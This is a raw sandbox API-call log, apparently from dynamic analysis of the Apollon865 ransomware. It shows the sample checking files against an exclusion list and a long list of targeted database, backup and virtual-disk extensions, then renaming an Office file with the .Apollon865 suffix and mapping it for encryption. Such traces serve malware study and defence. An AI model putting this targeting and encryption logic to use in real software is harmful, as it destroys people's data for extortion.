	[0066.964] lstrlenW (lpString="nrmlib") returned 6
	[0066.964] lstrcmpiW (lpString1="AL.DPV", lpString2="nrmlib") returned -1
	[0066.964] lstrlenW (lpString="ns2") returned 3
	[0066.964] lstrcmpiW (lpString1="DPV", lpString2="ns2") returned -1
	[0066.964] lstrlenW (lpString="ns3") returned 3
	[0066.964] lstrcmpiW (lpString1="DPV", lpString2="ns3") returned -1
	[0066.964] lstrlenW (lpString="ns4") returned 3
	[0066.964] lstrcmpiW (lpString1="DPV", lpString2="ns4") returned -1
	[0066.964] lstrlenW (lpString="nsf") returned 3
	[0066.964] lstrcmpiW (lpString1="DPV", lpString2="nsf") returned -1
	[0066.964] lstrlenW (lpString="nv") returned 2
	[0066.964] lstrcmpiW (lpString1="PV", lpString2="nv") returned 1
	[0066.964] lstrlenW (lpString="nv2") returned 3
	[0066.964] lstrcmpiW (lpString1="DPV", lpString2="nv2") returned -1
	[0066.964] lstrlenW (lpString="nwdb") returned 4
	[0066.964] lstrcmpiW (lpString1=".DPV", lpString2="nwdb") returned -1
	[0066.964] lstrlenW (lpString="nyf") returned 3
	[0066.964] lstrcmpiW (lpString1="DPV", lpString2="nyf") returned -1
	[0066.964] lstrlenW (lpString="odb") returned 3
	[0066.964] lstrcmpiW (lpString1="DPV", lpString2="odb") returned -1
	[0066.964] lstrlenW (lpString="odb") returned 3
	[0066.964] lstrcmpiW (lpString1="DPV", lpString2="odb") returned -1
	[0066.964] lstrlenW (lpString="oqy") returned 3
	[0066.964] lstrcmpiW (lpString1="DPV", lpString2="oqy") returned -1
	[0066.964] lstrlenW (lpString="ora") returned 3
	[0066.965] lstrcmpiW (lpString1="DPV", lpString2="ora") returned -1
	[0066.965] lstrlenW (lpString="orx") returned 3
	[0066.965] lstrcmpiW (lpString1="DPV", lpString2="orx") returned -1
	[0066.965] lstrlenW (lpString="owc") returned 3
	[0066.965] lstrcmpiW (lpString1="DPV", lpString2="owc") returned -1
	[0066.965] lstrlenW (lpString="p96") returned 3
	[0066.965] lstrcmpiW (lpString1="DPV", lpString2="p96") returned -1
	[0066.965] lstrlenW (lpString="p97") returned 3
	[0066.965] lstrcmpiW (lpString1="DPV", lpString2="p97") returned -1
	[0066.965] lstrlenW (lpString="pan") returned 3
	[0066.965] lstrcmpiW (lpString1="DPV", lpString2="pan") returned -1
	[0066.965] lstrlenW (lpString="pdb") returned 3
	[0066.965] lstrcmpiW (lpString1="DPV", lpString2="pdb") returned -1
	[0066.965] lstrlenW (lpString="pdm") returned 3
	[0066.965] lstrcmpiW (lpString1="DPV", lpString2="pdm") returned -1
	[0066.965] lstrlenW (lpString="pnz") returned 3
	[0066.965] lstrcmpiW (lpString1="DPV", lpString2="pnz") returned -1
	[0066.965] lstrlenW (lpString="qry") returned 3
	[0066.965] lstrcmpiW (lpString1="DPV", lpString2="qry") returned -1
	[0066.965] lstrlenW (lpString="qvd") returned 3
	[0066.965] lstrcmpiW (lpString1="DPV", lpString2="qvd") returned -1
	[0066.965] lstrlenW (lpString="rbf") returned 3
	[0066.965] lstrcmpiW (lpString1="DPV", lpString2="rbf") returned -1
	[0066.965] lstrlenW (lpString="rctd") returned 4
	[0066.965] lstrcmpiW (lpString1=".DPV", lpString2="rctd") returned -1
	[0066.965] lstrlenW (lpString="rod") returned 3
	[0066.965] lstrcmpiW (lpString1="DPV", lpString2="rod") returned -1
	[0066.965] lstrlenW (lpString="rodx") returned 4
	[0066.965] lstrcmpiW (lpString1=".DPV", lpString2="rodx") returned -1
	[0066.965] lstrlenW (lpString="rpd") returned 3
	[0066.965] lstrcmpiW (lpString1="DPV", lpString2="rpd") returned -1
	[0066.965] lstrlenW (lpString="rsd") returned 3
	[0066.965] lstrcmpiW (lpString1="DPV", lpString2="rsd") returned -1
	[0066.965] lstrlenW (lpString="sas7bdat") returned 8
	[0066.965] lstrcmpiW (lpString1="GCAL.DPV", lpString2="sas7bdat") returned -1
	[0066.965] lstrlenW (lpString="sbf") returned 3
	[0066.966] lstrcmpiW (lpString1="DPV", lpString2="sbf") returned -1
	[0066.966] lstrlenW (lpString="scx") returned 3
	[0066.966] lstrcmpiW (lpString1="DPV", lpString2="scx") returned -1
	[0066.966] lstrlenW (lpString="sdb") returned 3
	[0066.966] lstrcmpiW (lpString1="DPV", lpString2="sdb") returned -1
	[0066.966] lstrlenW (lpString="sdc") returned 3
	[0066.966] lstrcmpiW (lpString1="DPV", lpString2="sdc") returned -1
	[0066.966] lstrlenW (lpString="sdf") returned 3
	[0066.966] lstrcmpiW (lpString1="DPV", lpString2="sdf") returned -1
	[0066.966] lstrlenW (lpString="sis") returned 3
	[0066.966] lstrcmpiW (lpString1="DPV", lpString2="sis") returned -1
	[0066.966] lstrlenW (lpString="spq") returned 3
	[0066.966] lstrcmpiW (lpString1="DPV", lpString2="spq") returned -1
	[0066.966] lstrlenW (lpString="te") returned 2
	[0066.966] lstrcmpiW (lpString1="PV", lpString2="te") returned -1
	[0066.966] lstrlenW (lpString="teacher") returned 7
	[0066.966] lstrcmpiW (lpString1="CAL.DPV", lpString2="teacher") returned -1
	[0066.966] lstrlenW (lpString="tmd") returned 3
	[0066.966] lstrcmpiW (lpString1="DPV", lpString2="tmd") returned -1
	[0066.966] lstrlenW (lpString="tps") returned 3
	[0066.966] lstrcmpiW (lpString1="DPV", lpString2="tps") returned -1
	[0066.966] lstrlenW (lpString="trc") returned 3
	[0066.966] lstrcmpiW (lpString1="DPV", lpString2="trc") returned -1
	[0066.966] lstrlenW (lpString="trc") returned 3
	[0066.966] lstrcmpiW (lpString1="DPV", lpString2="trc") returned -1
	[0066.966] lstrlenW (lpString="trm") returned 3
	[0066.966] lstrcmpiW (lpString1="DPV", lpString2="trm") returned -1
	[0066.966] lstrlenW (lpString="udb") returned 3
	[0066.966] lstrcmpiW (lpString1="DPV", lpString2="udb") returned -1
	[0066.966] lstrlenW (lpString="udl") returned 3
	[0066.966] lstrcmpiW (lpString1="DPV", lpString2="udl") returned -1
	[0066.966] lstrlenW (lpString="usr") returned 3
	[0066.966] lstrcmpiW (lpString1="DPV", lpString2="usr") returned -1
	[0066.966] lstrlenW (lpString="v12") returned 3
	[0066.966] lstrcmpiW (lpString1="DPV", lpString2="v12") returned -1
	[0066.966] lstrlenW (lpString="vis") returned 3
	[0066.967] lstrcmpiW (lpString1="DPV", lpString2="vis") returned -1
	[0066.967] lstrlenW (lpString="vpd") returned 3
	[0066.967] lstrcmpiW (lpString1="DPV", lpString2="vpd") returned -1
	[0066.967] lstrlenW (lpString="vvv") returned 3
	[0066.967] lstrcmpiW (lpString1="DPV", lpString2="vvv") returned -1
	[0066.967] lstrlenW (lpString="wdb") returned 3
	[0066.967] lstrcmpiW (lpString1="DPV", lpString2="wdb") returned -1
	[0066.967] lstrlenW (lpString="wmdb") returned 4
	[0066.967] lstrcmpiW (lpString1=".DPV", lpString2="wmdb") returned -1
	[0066.967] lstrlenW (lpString="wrk") returned 3
	[0066.967] lstrcmpiW (lpString1="DPV", lpString2="wrk") returned -1
	[0066.967] lstrlenW (lpString="xdb") returned 3
	[0066.967] lstrcmpiW (lpString1="DPV", lpString2="xdb") returned -1
	[0066.967] lstrlenW (lpString="xld") returned 3
	[0066.967] lstrcmpiW (lpString1="DPV", lpString2="xld") returned -1
	[0066.967] lstrlenW (lpString="xmlff") returned 5
	[0066.967] lstrcmpiW (lpString1="L.DPV", lpString2="xmlff") returned -1
	[0066.967] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3ba75d00, ftCreationTime.dwHighDateTime=0x1c91701, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3ba75d00, ftLastWriteTime.dwHighDateTime=0x1c91701, nFileSizeHigh=0x0, nFileSizeLow=0x1e66, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DGCAL.XML", cAlternateFileName="")) returned 1
	[0066.967] lstrcmpiW (lpString1="DGCAL.XML", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.967] lstrcmpiW (lpString1="DGCAL.XML", lpString2="Apollon865.txt.exe") returned 1
	[0066.967] lstrcmpiW (lpString1="DGCAL.XML", lpString2=".") returned 1
	[0066.967] lstrcmpiW (lpString1="DGCAL.XML", lpString2="..") returned 1
	[0066.967] lstrcmpiW (lpString1="DGCAL.XML", lpString2="windows") returned -1
	[0066.967] lstrcmpiW (lpString1="DGCAL.XML", lpString2="bootmgr") returned 1
	[0066.967] lstrcmpiW (lpString1="DGCAL.XML", lpString2="temp") returned -1
	[0066.967] lstrcmpiW (lpString1="DGCAL.XML", lpString2="pagefile.sys") returned -1
	[0066.967] lstrcmpiW (lpString1="DGCAL.XML", lpString2="boot") returned 1
	[0066.967] lstrcmpiW (lpString1="DGCAL.XML", lpString2="ids.txt") returned -1
	[0066.967] lstrcmpiW (lpString1="DGCAL.XML", lpString2="ntuser.dat") returned -1
	[0066.967] lstrcmpiW (lpString1="DGCAL.XML", lpString2="perflogs") returned -1
	[0066.967] lstrcmpiW (lpString1="DGCAL.XML", lpString2="MSBuild") returned -1
	[0066.967] lstrlenW (lpString="DGCAL.XML") returned 9
	[0066.967] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.DPV") returned 59
	[0066.967] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGCAL.XML" | out: lpString1="DGCAL.XML") returned="DGCAL.XML"
	[0066.967] lstrlenW (lpString="DGCAL.XML") returned 9
	[0066.967] lstrlenW (lpString="Apollon865") returned 10
	[0066.968] lstrlenW (lpString=".dll") returned 4
	[0066.968] lstrcmpiW (lpString1="DGCAL.XML", lpString2=".dll") returned 1
	[0066.968] lstrlenW (lpString=".lnk") returned 4
	[0066.968] lstrcmpiW (lpString1="DGCAL.XML", lpString2=".lnk") returned 1
	[0066.968] lstrlenW (lpString=".ini") returned 4
	[0066.968] lstrcmpiW (lpString1="DGCAL.XML", lpString2=".ini") returned 1
	[0066.968] lstrlenW (lpString=".sys") returned 4
	[0066.968] lstrcmpiW (lpString1="DGCAL.XML", lpString2=".sys") returned 1
	[0066.968] lstrlenW (lpString="DGCAL.XML") returned 9
	[0066.968] lstrlenW (lpString="bak") returned 3
	[0066.968] lstrcmpiW (lpString1="XML", lpString2="bak") returned 1
	[0066.968] lstrlenW (lpString="ba_") returned 3
	[0066.968] lstrcmpiW (lpString1="XML", lpString2="ba_") returned 1
	[0066.968] lstrlenW (lpString="dbb") returned 3
	[0066.968] lstrcmpiW (lpString1="XML", lpString2="dbb") returned 1
	[0066.968] lstrlenW (lpString="vmdk") returned 4
	[0066.968] lstrcmpiW (lpString1=".XML", lpString2="vmdk") returned -1
	[0066.968] lstrlenW (lpString="rar") returned 3
	[0066.968] lstrcmpiW (lpString1="XML", lpString2="rar") returned 1
	[0066.968] lstrlenW (lpString="zip") returned 3
	[0066.968] lstrcmpiW (lpString1="XML", lpString2="zip") returned -1
	[0066.968] lstrlenW (lpString="tgz") returned 3
	[0066.968] lstrcmpiW (lpString1="XML", lpString2="tgz") returned 1
	[0066.968] lstrlenW (lpString="vbox") returned 4
	[0066.968] lstrcmpiW (lpString1=".XML", lpString2="vbox") returned -1
	[0066.968] lstrlenW (lpString="vdi") returned 3
	[0066.968] lstrcmpiW (lpString1="XML", lpString2="vdi") returned 1
	[0066.968] lstrlenW (lpString="vhd") returned 3
	[0066.968] lstrcmpiW (lpString1="XML", lpString2="vhd") returned 1
	[0066.968] lstrlenW (lpString="vhdx") returned 4
	[0066.968] lstrcmpiW (lpString1=".XML", lpString2="vhdx") returned -1
	[0066.968] lstrlenW (lpString="avhd") returned 4
	[0066.968] lstrcmpiW (lpString1=".XML", lpString2="avhd") returned -1
	[0066.968] lstrlenW (lpString="db") returned 2
	[0066.968] lstrcmpiW (lpString1="ML", lpString2="db") returned 1
	[0066.968] lstrlenW (lpString="db2") returned 3
	[0066.968] lstrcmpiW (lpString1="XML", lpString2="db2") returned 1
	[0066.969] lstrlenW (lpString="db3") returned 3
	[0066.969] lstrcmpiW (lpString1="XML", lpString2="db3") returned 1
	[0066.969] lstrlenW (lpString="dbf") returned 3
	[0066.969] lstrcmpiW (lpString1="XML", lpString2="dbf") returned 1
	[0066.969] lstrlenW (lpString="mdf") returned 3
	[0066.969] lstrcmpiW (lpString1="XML", lpString2="mdf") returned 1
	[0066.969] lstrlenW (lpString="mdb") returned 3
	[0066.969] lstrcmpiW (lpString1="XML", lpString2="mdb") returned 1
	[0066.969] lstrlenW (lpString="sql") returned 3
	[0066.969] lstrcmpiW (lpString1="XML", lpString2="sql") returned 1
	[0066.969] lstrlenW (lpString="sqlite") returned 6
	[0066.969] lstrcmpiW (lpString1="AL.XML", lpString2="sqlite") returned -1
	[0066.969] lstrlenW (lpString="sqlite3") returned 7
	[0066.969] lstrcmpiW (lpString1="CAL.XML", lpString2="sqlite3") returned -1
	[0066.969] lstrlenW (lpString="sqlitedb") returned 8
	[0066.969] lstrcmpiW (lpString1="GCAL.XML", lpString2="sqlitedb") returned -1
	[0066.969] lstrlenW (lpString="xml") returned 3
	[0066.969] lstrcmpiW (lpString1="XML", lpString2="xml") returned 0
	[0066.969] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.XML.Apollon865") returned 70
	[0066.969] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.XML" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcal.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcal.xml.apollon865"), dwFlags=0x1) returned 1
	[0066.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.XML.Apollon865" (normalized: "c:\\program files\\microsoft office\\office14\\pubwiz\\dgcal.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x15c
	[0066.970] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=7782) returned 1
	[0066.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x34f0020
	[0066.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0066.970] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0066.970] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0066.971] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0066.971] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.971] CreateFileMappingW (hFile=0x15c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2170, lpName=0x0) returned 0x100
	[0066.973] MapViewOfFile (hFileMappingObject=0x100, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2170) returned 0x100000
	[0066.974] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0066.975] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0066.975] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0066.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab00
	[0066.975] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab00 | out: hHeap=0x580000) returned 1
	[0066.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0066.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0066.975] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0066.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0066.975] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0066.976] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0066.976] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0066.976] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0066.976] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0066.976] CloseHandle (hObject=0x100) returned 1
	[0066.976] CloseHandle (hObject=0x15c) returned 1
	[0066.976] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0066.976] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0066.976] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x34f0020 | out: hHeap=0x580000) returned 1
	[0066.976] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca59dd00, ftCreationTime.dwHighDateTime=0x1c5d95d, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca59dd00, ftLastWriteTime.dwHighDateTime=0x1c5d95d, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DGCHKBRD.DPV", cAlternateFileName="")) returned 1
	[0066.976] lstrcmpiW (lpString1="DGCHKBRD.DPV", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0066.976] lstrcmpiW (lpString1="DGCHKBRD.DPV", lpString2="Apollon865.txt.exe") returned 1
	[0066.976] lstrcmpiW (lpString1="DGCHKBRD.DPV", lpString2=".") returned 1
	[0066.976] lstrcmpiW (lpString1="DGCHKBRD.DPV", lpString2="..") returned 1
	[0066.976] lstrcmpiW (lpString1="DGCHKBRD.DPV", lpString2="windows") returned -1
	[0066.976] lstrcmpiW (lpString1="DGCHKBRD.DPV", lpString2="bootmgr") returned 1
	[0066.976] lstrcmpiW (lpString1="DGCHKBRD.DPV", lpString2="temp") returned -1
	[0066.976] lstrcmpiW (lpString1="DGCHKBRD.DPV", lpString2="pagefile.sys") returned -1
	[0066.977] lstrcmpiW (lpString1="DGCHKBRD.DPV", lpString2="boot") returned 1
	[0066.977] lstrcmpiW (lpString1="DGCHKBRD.DPV", lpString2="ids.txt") returned -1
	[0066.977] lstrcmpiW (lpString1="DGCHKBRD.DPV", lpString2="ntuser.dat") returned -1
	[0066.977] lstrcmpiW (lpString1="DGCHKBRD.DPV", lpString2="perflogs") returned -1
	[0066.977] lstrcmpiW (lpString1="DGCHKBRD.DPV", lpString2="MSBuild") returned -1
	[0066.977] lstrlenW (lpString="DGCHKBRD.DPV") returned 12
	[0066.977] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBWIZ\\DGCAL.XML") returned 59
	[0066.977] lstrcpyW (in: lpString1=0x2d3e5b4, lpString2="DGCHKBRD.DPV" | out: lpString1="DGCHKBRD.DPV") returned="DGCHKBRD.DPV"
	[0066.977] lstrlenW (lpString="DGCHKBRD.DPV") returned 12
	[0066.977] lstrlenW (lpString="Apollon865") returned 10
	[0066.977] lstrcmpiW (lpString1="CHKBRD.DPV", lpString2="Apollon865") returned 1
	[0066.977] lstrlenW (lpString=".dll") returned 4
	[0066.977] lstrcmpiW (lpString1="DGCHKBRD.DPV", lpString2=".dll") returned 1
	[0066.977] lstrlenW (lpString=".lnk") returned 4
	[0066.977] lstrcmpiW (lpString1="DGCHKBRD.DPV", lpString2=".lnk") returned 1
	[0066.977] lstrlenW (lpString=".ini") returned 4
	[0066.977] lstrcmpiW (lpString1="DGCHKBRD.DPV", lpString2=".ini") returned 1
	[0066.977] lstrlenW (lpString=".sys") returned 4
	[0066.977] lstrcmpiW (lpString1="DGCHKBRD.DPV", lpString2=".sys") returned 1
	[0066.977] lstrlenW (lpString="DGCHKBRD.DPV") returned 12
	[0066.977] lstrlenW (lpString="bak") returned 3
	[0066.977] lstrcmpiW (lpString1="DPV", lpString2="bak") returned 1
	[0066.977] lstrlenW (lpString="ba_") returned 3
	[0066.977] lstrcmpiW (lpString1="DPV", lpString2="ba_") returned 1
	[0066.977] lstrlenW (lpString="dbb") returned 3
	[0066.977] lstrcmpiW (lpString1="DPV", lpString2="dbb") returned 1
	[0066.977] lstrlenW (lpString="vmdk") returned 4
	[0066.977] lstrcmpiW (lpString1=".DPV", lpString2="vmdk") returned -1
	[0066.977] lstrlenW (lpString="rar") returned 3
	[0066.977] lstrcmpiW (lpString1="DPV", lpString2="rar") returned -1
	[0066.977] lstrlenW (lpString="zip") returned 3
	[0066.977] lstrcmpiW (lpString1="DPV", lpString2="zip") returned -1
	[0066.977] lstrlenW (lpString="tgz") returned 3
	[0066.977] lstrcmpiW (lpString1="DPV", lpString2="tgz") returned -1
	[0066.977] lstrlenW (lpString="vbox") returned 4
	[0066.977] lstrcmpiW (lpString1=".DPV", lpString2="vbox") returned -1
	[0066.978] lstrlenW (lpString="vdi") returned 3
	[0066.978] lstrcmpiW (lpString1="DPV", lpString2="vdi") returned -1
	[0066.978] lstrlenW (lpString="vhd") returned 3
	[0066.978] lstrcmpiW (lpString1="DPV", lpString2="vhd") returned -1
	[0066.978] lstrlenW (lpString="vhdx") returned 4
	[0066.978] lstrcmpiW (lpString1=".DPV", lpString2="vhdx") returned -1
	[0066.978] lstrlenW (lpString="avhd") returned 4
	[0066.978] lstrcmpiW (lpString1=".DPV", lpString2="avhd") returned -1
	[0066.978] lstrlenW (lpString="db") returned 2
	[0066.978] lstrcmpiW (lpString1="PV", lpString2="db") returned 1
	[0066.978] lstrlenW (lpString="db2") returned 3
	[0066.978] lstrcmpiW (lpString1="DPV", lpString2="db2") returned 1
	[0066.978] lstrlenW (lpString="db3") returned 3
	[0066.978] lstrcmpiW (lpString1="DPV", lpString2="db3") returned 1
	[0066.978] lstrlenW (lpString="dbf") returned 3
	[0066.978] lstrcmpiW (lpString1="DPV", lpString2="dbf") returned 1
	[0066.978] lstrlenW (lpString="mdf") returned 3
	[0066.978] lstrcmpiW (lpString1="DPV", lpString2="mdf") returned -1
	[0066.978] lstrlenW (lpString="mdb") returned 3
	[0066.978] lstrcmpiW (lpString1="DPV", lpString2="mdb") returned -1
	[0066.978] lstrlenW (lpString="sql") returned 3
	[0066.978] lstrcmpiW (lpString1="DPV", lpString2="sql") returned -1
	[0066.978] lstrlenW (lpString="sqlite") returned 6
	[0066.978] lstrcmpiW (lpString1="RD.DPV", lpString2="sqlite") returned -1
	[0066.978] lstrlenW (lpString="sqlite3") returned 7
	[0066.978] lstrcmpiW (lpString1="BRD.DPV", lpString2="sqlite3") returned -1
	[0066.978] lstrlenW (lpString="sqlitedb") returned 8
	[0066.978] lstrcmpiW (lpString1="KBRD.DPV", lpString2="sqlitedb") returned -1
	[0066.978] lstrlenW (lpString="xml") returned 3
	[0066.978] lstrcmpiW (lpString1="DPV", lpString2="xml") returned -1
	[0066.978] lstrlenW (lpString="$er") returned 3
	[0066.978] lstrcmpiW (lpString1="DPV", lpString2="$er") returned 1
	[0066.978] lstrlenW (lpString="4dd") returned 3
	[0066.978] lstrcmpiW (lpString1="DPV", lpString2="4dd") returned 1
	[0066.978] lstrlenW (lpString="4dl") returned 3
	[0066.978] lstrcmpiW (lpString1="DPV", lpString2="4dl") returned 1
	[0066.978] lstrlenW (lpString="^^^") returned 3
	[0066.979] lstrcmpiW (lpString1="DPV", lpString2="^^^") returned 1
	[0066.979] lstrlenW (lpString="abs") returned 3
	[0066.979] lstrcmpiW (lpString1="DPV", lpString2="abs") returned 1
	[0066.979] lstrlenW (lpString="abx") returned 3
	[0066.979] lstrcmpiW (lpString1="DPV", lpString2="abx") returned 1
	[0066.979] lstrlenW (lpString="accdb") returned 5
	[0066.979] lstrcmpiW (lpString1="D.DPV", lpString2="accdb") returned 1
	[0066.979] lstrlenW (lpString="accdc") returned 5
	[0066.979] lstrcmpiW (lpString1="D.DPV", lpString2="accdc") returned 1
	[0066.979] lstrlenW (lpString="accde") returned 5
	[0066.979] lstrcmpiW (lpString1="D.DPV", lpString2="accde") returned 1
	[0066.979] lstrlenW (lpString="accdr") returned 5
	[0066.979] lstrcmpiW (lpString1="D.DPV", lpString2="accdr") returned 1
	[0066.979] lstrlenW (lpString="accdt") returned 5
	[0066.979] lstrcmpiW (lpString1="D.DPV", lpString2="accdt") returned 1
	[0066.979] lstrlenW (lpString="accdw") returned 5
	[0066.979] lstrcmpiW (lpString1="D.DPV", lpString2="accdw") returned 1
	[0066.979] lstrlenW (lpString="accft") returned 5
	[0066.979] lstrcmpiW (lpString1="D.DPV", lpString2="accft") returned 1
	[0066.979] lstrlenW (lpString="adb") returned 3
	[0066.979] lstrcmpiW (lpString1="DPV", lpString2="adb") returned 1
	[0066.979] lstrlenW (lpString="adb") returned 3
	[0066.979] lstrcmpiW (lpString1="DPV", lpString2="adb") returned 1
	[0066.979] lstrlenW (lpString="ade") returned 3
	[0066.979] lstrcmpiW (lpString1="DPV", lpString2="ade") returned 1
	[0066.979] lstrlenW (lpString="adf") returned 3
	[0066.979] lstrcmpiW (lpString1="DPV", lpString2="adf") returned 1
	[0066.979] lstrlenW (lpString="adn") returned 3
	[0066.979] lstrcmpiW (lpString1="DPV", lpString2="adn") returned 1
	[0066.979] lstrlenW (lpString="adp") returned 3
	[0066.979] lstrcmpiW (lpString1="DPV", lpString2="adp") returned 1
	[0066.979] lstrlenW (lpString="alf") returned 3
	[0066.979] lstrcmpiW (lpString1="DPV", lpString2="alf") returned 1
	[0066.979] lstrlenW (lpString="ask") returned 3
	[0066.979] lstrcmpiW (lpString1="DPV", lpString2="ask") returned 1
	[0066.979] lstrlenW (lpString="btr") returned 3
	[0066.979] lstrcmpiW (lpString1="DPV", lpString2="btr") returned 1
	[0066.980] lstrlenW (lpString="cat") returned 3
	[0066.980] lstrcmpiW (lpString1="DPV", lpString2="cat") returned 1
	[0066.980] lstrlenW (lpString="cdb") returned 3
	[0066.980] lstrcmpiW (lpString1="DPV", lpString2="cdb") returned 1
	[0066.980] lstrlenW (lpString="ckp") returned 3
	[0066.980] lstrcmpiW (lpString1="DPV", lpString2="ckp") returned 1
	[0066.980] lstrlenW (lpString="cma") returned 3
	[0066.980] lstrcmpiW (lpString1="DPV", lpString2="cma") returned 1
	[0066.980] lstrlenW (lpString="cpd") returned 3
	[0066.980] lstrcmpiW (lpString1="DPV", lpString2="cpd") returned 1
	[0066.980] lstrlenW (lpString="dacpac") returned 6
	[0066.980] lstrcmpiW (lpString1="RD.DPV", lpString2="dacpac") returned 1
	[0066.980] lstrlenW (lpString="dad") returned 3
	[0066.980] lstrcmpiW (lpString1="DPV", lpString2="dad") returned 1
	[0066.980] lstrlenW (lpString="dadiagrams") returned 10
	[0066.980] lstrcmpiW (lpString1="CHKBRD.DPV", lpString2="dadiagrams") returned -1
	[0066.980] lstrlenW (lpString="daschema") returned 8
	[0066.980] lstrcmpiW (lpString1="KBRD.DPV", lpString2="daschema") returned 1
	[0066.980] lstrlenW (lpString="db-journal") returned 10
	[0066.980] lstrcmpiW (lpString1="CHKBRD.DPV", lpString2="db-journal") returned -1
	[0066.980] lstrlenW (lpString="db-shm") returned 6
	[0066.980] lstrcmpiW (lpString1="RD.DPV", lpString2="db-shm") returned 1
	[0066.980] lstrlenW (lpString="db-wal") returned 6
	[0066.980] lstrcmpiW (lpString1="RD.DPV", lpString2="db-wal") returned 1
	[0066.980] lstrlenW (lpString="dbc") returned 3
	[0066.980] lstrcmpiW (lpString1="DPV", lpString2="dbc") returned 1
	[0066.980] lstrlenW (lpString="dbs") returned 3
	[0066.980] lstrcmpiW (lpString1="DPV", lpString2="dbs") returned 1
	[0066.980] lstrlenW (lpString="dbt") returned 3
	[0066.980] lstrcmpiW (lpString1="DPV", lpString2="dbt") returned 1
	[0066.980] lstrlenW (lpString="dbv") returned 3
	[0066.980] lstrcmpiW (lpString1="DPV", lpString2="dbv") returned 1
	[0066.980] lstrlenW (lpString="dbx") returned 3
	[0066.980] lstrcmpiW (lpString1="DPV", lpString2="dbx") returned 1
	[0066.980] lstrlenW (lpString="dcb") returned 3
	[0066.980] lstrcmpiW (lpString1="DPV", lpString2="dcb") returned 1
	[0066.981] lstrlenW (lpString="dct") returned 3
	[0066.981] lstrcmpiW (lpString1="DPV", lpString2="dct") returned 1
	[0066.981] lstrlenW (lpString="dcx") returned 3
	[0066.981] lstrcmpiW (lpString1="DPV", lpString2="dcx") returned 1
